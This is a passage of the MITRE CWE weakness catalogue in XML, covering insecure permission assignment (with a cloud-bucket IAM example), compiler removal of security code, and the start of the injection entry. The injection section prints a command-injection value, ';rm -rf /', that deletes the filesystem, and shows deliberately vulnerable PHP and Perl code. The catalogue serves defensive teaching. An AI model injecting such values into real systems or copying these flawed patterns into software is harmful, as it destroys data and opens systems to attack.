		</xhtml:div>
	      </Example_Code>
	      <Body_Text>Suppose the command returns the following result:</Body_Text>
	      <Example_Code Nature="bad" Language="JSON">
		{<xhtml:br/>
		<xhtml:div style="margin-left:1em;">
		  "bindings":[{<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    "members":[<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      "projectEditor: PROJECT-ID",<xhtml:br/>
		      "projectOwner: PROJECT-ID"
		    </xhtml:div>
		    ],<xhtml:br/>
		    "role":"roles/storage.legacyBucketOwner"<xhtml:br/>
		  </xhtml:div>
		  },<xhtml:br/>
		  {<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    "members":[
		    <xhtml:div style="margin-left:1em;">
		      "allUsers",<xhtml:br/>
		      "projectViewer: PROJECT-ID"<xhtml:br/>
		      ],<xhtml:br/>
		      "role":"roles/storage.legacyBucketReader"<xhtml:br/>
		    </xhtml:div>
		    }<xhtml:br/>
		  </xhtml:div>
		  ]<xhtml:br/>
		</xhtml:div>
		}<xhtml:br/>
	      </Example_Code>
	      <Body_Text>This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.</Body_Text>
	      <Body_Text>The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:</Body_Text>
	      <Example_Code Nature="good" Language="Shell">
		gsutil iam ch -d allUsers gs://BUCKET_NAME<xhtml:br/>
		gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME<xhtml:br/>
	      </Example_Code>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29527</Reference>
               <Description>Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3482</Reference>
               <Description>Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3482</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3897</Reference>
               <Description>Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3897</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3489</Reference>
               <Description>Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3489</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-15708</Reference>
               <Description>socket created with insecure permissions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-15708</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3289</Reference>
               <Description>Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3289</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0115</Reference>
               <Description>Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0115</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1073</Reference>
               <Description>LDAP server stores a cleartext password in a world-readable file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1073</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0141</Reference>
               <Description>Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0141</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0662</Reference>
               <Description>VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0662</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0322</Reference>
               <Description>Driver installs its device interface with "Everyone: Write" permissions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0322</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3939</Reference>
               <Description>Driver installs a file with world-writable permissions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3939</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3611</Reference>
               <Description>Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3611</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6033</Reference>
               <Description>Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6033</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5544</Reference>
               <Description>Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5544</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4868</Reference>
               <Description>Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4868</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1714</Reference>
               <Description>Security product uses "Everyone: Full Control" permissions for its configuration files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1714</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0006</Reference>
               <Description>"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0006</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0969</Reference>
               <Description>Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0969</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO03-J</Entry_ID>
               <Entry_Name>Create files with appropriate access permission</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC01-J</Entry_ID>
               <Entry_Name>Do not allow tainted variables in privileged blocks</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ENV03-J</Entry_ID>
               <Entry_Name>Do not grant dangerous combinations of permissions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO06-C</Entry_ID>
               <Entry_Name>Create files with appropriate access permissions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="122"/>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
            <Related_Attack_Pattern CAPEC_ID="206"/>
            <Related_Attack_Pattern CAPEC_ID="234"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="61"/>
            <Related_Attack_Pattern CAPEC_ID="62"/>
            <Related_Attack_Pattern CAPEC_ID="642"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;File Permissions.&#34; Page 495"/>
            <Reference External_Reference_ID="REF-207" Section="Chapter 8, &#34;Access Control.&#34; Page 194"/>
            <Reference External_Reference_ID="REF-594"/>
            <Reference External_Reference_ID="REF-199"/>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
            <Reference External_Reference_ID="REF-1307" Section="Section 3.7"/>
            <Reference External_Reference_ID="REF-1327" Section="Section 5.1"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Allowed-with-Review (this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review).</xhtml:p>
               <xhtml:p>Rationale: While the name itself indicates an assignment of permissions for resources, this is often misused for vulnerabilities in which "permissions" are not checked, which is an "authorization" weakness (CWE-285 or descendants) within CWE's model [REF-1287].</xhtml:p>
               <xhtml:p>Comments: closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.</xhtml:p>
	    </Note>
            <Note Type="Maintenance">The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-08</Submission_Date>
               <Submission_Comment>new weakness-focused entry for Research view.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Modes_of_Introduction, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Insecure Permission Assignment for Resource</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insecure Permission Assignment for Critical Resource</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="733" Name="Compiler Optimization Removal or Modification of Security-critical Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1038" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Language Class="Compiled" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-1685</Reference>
               <Description>C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1685</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-1010006</Reference>
               <Description>Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-1010006</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;A Compiler Optimization Caveat&#34; Page 322"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-10-01</Submission_Date>
               <Submission_Comment>new weakness-focused entry for Research view closes the gap between 14 and 435.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="74" Name="Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.</Description>
         <Extended_Description>Software or other automated logic has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>Often the actions performed by injected control code are unlogged.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Programming languages and supporting technologies might be chosen which are not subject to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-151">
               <Intro_Text>This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$userName = $_POST["user"];<xhtml:br/>$command = 'ls -l /home/' . $userName;<xhtml:br/>system($command);</xhtml:div>
               </Example_Code>
               <Body_Text>The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>;rm -rf /</xhtml:div>
               </Example_Code>
               <Body_Text>Which would result in $command being:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>ls -l /home/;rm -rf /</xhtml:div>
               </Example_Code>
               <Body_Text>Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.</Body_Text>
               <Body_Text>Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-150">
               <Intro_Text>Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>
					my $arg = GetArgument("filename");<xhtml:br/>
					do_listing($arg);<xhtml:br/>
					<xhtml:br/>

					sub do_listing {<xhtml:br/>
					<xhtml:div>
						my($fname) = @_;<xhtml:br/>
						if (! validate_name($fname)) {<xhtml:br/>
							<xhtml:div>
							print "Error: name is not well-formed!\n";<xhtml:br/>
							return;<xhtml:br/>
							</xhtml:div>
						}<xhtml:br/>
						<xhtml:i># build command</xhtml:i><xhtml:br/>
						my $cmd = "/bin/ls -l $fname";<xhtml:br/>
						system($cmd);<xhtml:br/>
					</xhtml:div>
					}
					<xhtml:br/><xhtml:br/>
					sub validate_name {<xhtml:br/>
					<xhtml:div>
						my($name) = @_;<xhtml:br/>
						if ($name =~ /^[\w\-]+$/) {<xhtml:br/>
						<xhtml:div>
							return(1);<xhtml:br/>
						</xhtml:div>
						}<xhtml:br/>
						else {<xhtml:br/>
						<xhtml:div>
							return(0);<xhtml:br/>
						</xhtml:div>
						}<xhtml:br/>
					</xhtml:div>
					}
				  </xhtml:div>
               </Example_Code>

               <Body_Text><xhtml:p>However, validate_name() alows
               filenames that begin with a "-". An adversary could
               supply a filename like "-aR", producing the "ls -l -aR"
               command (CWE-88), thereby getting a full recursive
               listing of the entire directory and all of its
               sub-directories.</xhtml:p>

			   <xhtml:p>There are a couple possible mitigations for this
			   weakness. One would be to refactor the code to avoid
			   using system() altogether, instead relying on internal
			   functions.</xhtml:p>

			   <xhtml:p>Another option could be to add a "--" argument
			   to the ls command, such as "ls -l --", so that any
			   remaining arguments are treated as filenames, causing
			   any leading "-" to be treated as part of a filename
			   instead of another option.</xhtml:p>

			   <xhtml:p>Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:</xhtml:p>
			   </Body_Text>
			   <Example_Code Nature="Good" Language="Perl">
			   	 <xhtml:div>
				   if ($name =~ /^\w[\w\-]+$/) ...
				 </xhtml:div>
			   </Example_Code>
            </Demonstrative_Example>
          </Demonstrative_Examples>
          <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-36069</Reference>
               <Description>Python-based dependency management tool avoids OS command injection  when generating Git commands but allows  injection of optional arguments with input beginning with a dash, potentially allowing for code execution.</Description>
